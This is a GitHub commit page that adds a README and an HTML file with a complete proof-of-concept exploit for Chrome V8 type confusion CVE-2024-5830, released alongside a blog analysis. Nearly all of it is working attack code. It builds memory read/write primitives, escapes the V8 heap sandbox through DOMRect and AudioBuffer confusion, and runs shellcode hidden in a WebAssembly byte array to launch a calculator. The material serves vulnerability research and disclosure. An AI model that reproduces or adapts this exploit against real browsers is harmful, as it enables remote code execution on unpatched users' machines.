Skip to content

Commit f2b2910

Browse files
authored
Merge pull request #845 from github/chrome_5830
Blog material
2 parents a6d6832 + 923e972 commit f2b2910

File tree

2 files changed

+218
-0
lines changed

2 files changed

+218
-0
lines changed
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
## V8 type confusion CVE-2024-5830
2+
3+
The analysis of this bug can be found [here](https://github.blog/2024-08-13-from-object-transition-to-rce-in-the-chrome-renderer).
4+
5+
The exploit here is tested on the official build of Chrome version 125.0.6422.112, on Ubuntu 22.04. The following build config was used to build Chromium:
6+
7+
```
8+
is_debug = false
9+
symbol_level = 1
10+
blink_symbol_level = 1
11+
dcheck_always_on = false
12+
is_official_build = true
13+
chrome_pgo_phase = 0
14+
v8_symbol_level = 1
15+
```
16+
17+
If successful, on Ubuntu 22.04, it should call launch `xcalc` when `calc.html` is opened in Chrome.
18+
19+
Shell code and some addresses may need changing on other platforms.
20+
21+
Lines changed: 197 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
<html>
2+
<body>
3+
<script>
4+
5+
const importObject = {
6+
imports: { imported_func : Math.sin},
7+
};
8+
//Generated using import_shell.js
9+
var wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,136,2,2,6,0,32,0,16,0,11,254,1,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,49,246,49,210,49,192,235,29,251,14,0,32,0,65,1,68,104,108,99,0,0,144,235,32,251,14,0,32,0,65,2,68,104,47,120,99,97,88,235,32,251,14,0,32,0,65,3,68,104,47,98,105,110,91,235,32,251,14,0,32,0,65,4,68,144,144,72,193,224,32,235,32,251,14,0,32,0,65,5,68,72,1,216,80,84,95,235,32,251,14,0,32,0,65,6,68,86,87,84,94,144,144,235,32,251,14,0,32,0,65,7,68,104,58,48,46,48,144,235,32,251,14,0,32,0,65,8,68,104,76,65,89,61,88,235,32,251,14,0,32,0,65,9,68,104,68,73,83,80,91,235,32,251,14,0,32,0,65,10,68,144,72,193,224,32,144,235,32,251,14,0,32,0,65,11,68,72,1,216,80,84,144,235,32,251,14,0,32,0,65,12,68,65,90,82,65,82,84,235,32,251,14,0,32,0,65,13,68,90,184,59,0,0,0,235,32,251,14,0,32,0,65,14,68,15,5,90,49,210,82,235,32,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]
10+
);
11+
var module = new WebAssembly.Module(wasmBuffer);
12+
var instance = new WebAssembly.Instance(module, importObject);
13+
var func = instance.exports.make_array;
14+
func();
15+
16+
var view = new ArrayBuffer(24);
17+
var dblArr = new Float64Array(view);
18+
var intView = new Uint32Array(view);
19+
var bigIntView = new BigInt64Array(view);
20+
21+
function ftoi32(f) {
22+
dblArr[0] = f;
23+
return [intView[0], intView[1]];
24+
}
25+
26+
function i32tof(i1, i2) {
27+
intView[0] = i1;
28+
intView[1] = i2;
29+
return dblArr[0];
30+
}
31+
32+
function itof(i) {
33+
bigIntView = BigInt(i);
34+
return dblArr[0];
35+
}
36+
37+
function ftoi(f) {
38+
dblArr[0] = f;
39+
return bigIntView[0];
40+
}
41+
42+
43+
function addrOf(obj) {
44+
oobObjArr[0] = obj;
45+
var addrDbl = corrupted_arr[9];
46+
return ftoi32(addrDbl)[0];
47+
}
48+
49+
function read(addr) {
50+
var old_value = corrupted_arr[oobOffset];
51+
corrupted_arr[oobOffset] = i32tof(addr,2);
52+
var oldAddr = ftoi32(old_value);
53+
var out = ftoi32(oobDblArr[0]);
54+
corrupted_arr[oobOffset] = old_value;
55+
return out;
56+
}
57+
58+
function write(addr, val1, val2) {
59+
var old_value = corrupted_arr[oobOffset];
60+
corrupted_arr[oobOffset] = i32tof(addr,2);
61+
oobDblArr[0] = i32tof(val1, val2);
62+
corrupted_arr[oobOffset] = old_value;
63+
return;
64+
}
65+
66+
var num = 3;
67+
var nameAddr = 0xdc5;
68+
var dblArrMap = 0x25510d;
69+
var objArrMap = 0x25518d;
70+
71+
var nameAddrF = i32tof(nameAddr, nameAddr);
72+
var fakeDblArray = [1.1,2.2];
73+
var oobDblArr = [2.2];
74+
var oobObjArr = [view];
75+
oobObjArr[0] = 0x4242;
76+
77+
var fakeDblArrayAddr = 0x4881d;
78+
79+
var fakeDblArrayEle = fakeDblArrayAddr - 0x18;
80+
fakeDblArray[0] = i32tof(dblArrMap, 0x725);
81+
fakeDblArray[1] = i32tof(fakeDblArrayEle, 0x100);
82+
83+
84+
var x = {};
85+
for (let i = 0; i < num; i++) {
86+
x['a' + i] = 1;
87+
}
88+
var x1 = {};
89+
for (let i = 0; i < num; i++) {
90+
x1['a' + i] = 1;
91+
}
92+
x1.prop = 1;
93+
x.__defineGetter__("prop", function() {
94+
let obj = {};
95+
obj.a0 = 1.5;
96+
for (let i = 0; i < 1024 + 512; i++) {
97+
let tmp = {};
98+
tmp.a0 = 1;
99+
for (let j = 1; j < num; j++) {
100+
tmp['a' + j] = 1;
101+
}
102+
tmp['p' + i] = 1;
103+
}
104+
return 4;
105+
});
106+
x.z = 1;
107+
delete x.z;
108+
var y = {...x};
109+
110+
var arr = new Array(256);
111+
for (let i = 0; i < 7; i++) {
112+
arr[i] = new Array(256);
113+
for (let j = 0; j < arr[i].length; j++) {
114+
arr[i][j] = nameAddrF;
115+
}
116+
}
117+
118+
for (let j = 0; j < 7; j++) {
119+
let a = arr[j];
120+
for (let i = 0; i < 256; i++) {
121+
a[i] = i32tof(nameAddr, fakeDblArrayEle + 0x8);//i32tof(fakeDblArrayEle + 0xc, nameAddr);
122+
}
123+
}
124+
125+
var z = {};
126+
z.__proto__ = y;
127+
z.p = 1;
128+
z.p;
129+
130+
var oobOffset = 7;
131+
//_ZN2v88internal11TrustedCage5base_E - _ZN5blink17V8DOMRectReadOnly18wrapper_type_info_E
132+
var trustedOffset = 0x12e9d0;
133+
134+
var corrupted_arr = y.name;
135+
136+
function getInstance(obj) {
137+
let addr = addrOf(obj);
138+
return read(addr + 0x10);
139+
}
140+
//v8 heap sandbox escape
141+
var domRect = new DOMRect(1.1,2.3,3.3,4.4);
142+
var node = new AudioBuffer({length: 3000, sampleRate: 30000, numberOfChannels : 2});
143+
var channel = node.getChannelData(0);
144+
var nodeInstance = getInstance(node);
145+
var channelAddr = addrOf(channel);
146+
var channelInstance = read(channelAddr + 0x3c);
147+
var rectAddr = addrOf(domRect);
148+
var rectInstance = read(rectAddr + 0x10);
149+
var rectType = read(rectAddr + 0x8);
150+
151+
write(rectAddr + 0x10, rectType[0], rectType[1]);
152+
//V8DOMRectReadOnly18wrapper_type_info_E
153+
var typeInfo = ftoi32(domRect.width);
154+
//Confusion between DOMRect and DOMArrayBuffer allows raw_base_addr_ ptr to be overwritten, causing arbitrary rw
155+
write(rectAddr + 0x10, channelInstance[0], channelInstance[1]);
156+
var rawBase = ftoi32(domRect.x);
157+
var trustedBase = i32tof(typeInfo[0] + trustedOffset, typeInfo[1]);
158+
//Set address to read and write
159+
domRect.x = trustedBase;
160+
var dst = new Float32Array(view);
161+
//copyFromChannel and copyToChannel can then be used for arbitrary rw
162+
node.copyFromChannel(dst, 0, 0);
163+
//dispatch_table_from_imports address
164+
var trustedCage = intView[1];
165+
function findImportTarget(startAddr) {
166+
var dispatchMap = 0x1f8d;
167+
var dstBuffer = new ArrayBuffer(0x1000);
168+
var dstFloat = new Float32Array(dstBuffer);
169+
var dstInt = new Uint32Array(dstBuffer);
170+
domRect.x = i32tof(startAddr, trustedCage);
171+
node.copyFromChannel(dstFloat, 0, 0);
172+
for (let i = 0; i < dstInt.length; i++) {
173+
if (dstInt[i] === 0x1f8d) {
174+
return i;
175+
}
176+
}
177+
return -1;
178+
}
179+
var startAddr = 0x40b00;
180+
181+
var codeIdx = findImportTarget(startAddr);
182+
if (codeIdx != -1) {
183+
var exported = instance.exports.main;
184+
var code = i32tof(startAddr + codeIdx * 4 + 0xc, trustedCage);
185+
domRect.x = code;
186+
node.copyFromChannel(dst, 0, 0);
187+
intView[0] = intView[0] + 0xe + 0x100;
188+
node.copyToChannel(dst, 0, 0);
189+
intView[0] = 0;
190+
node.copyFromChannel(dst,0,0);
191+
192+
exported();
193+
exported();
194+
}
195+
</script>
196+
</body>
197+
</html>

0 commit comments

Comments
 (0)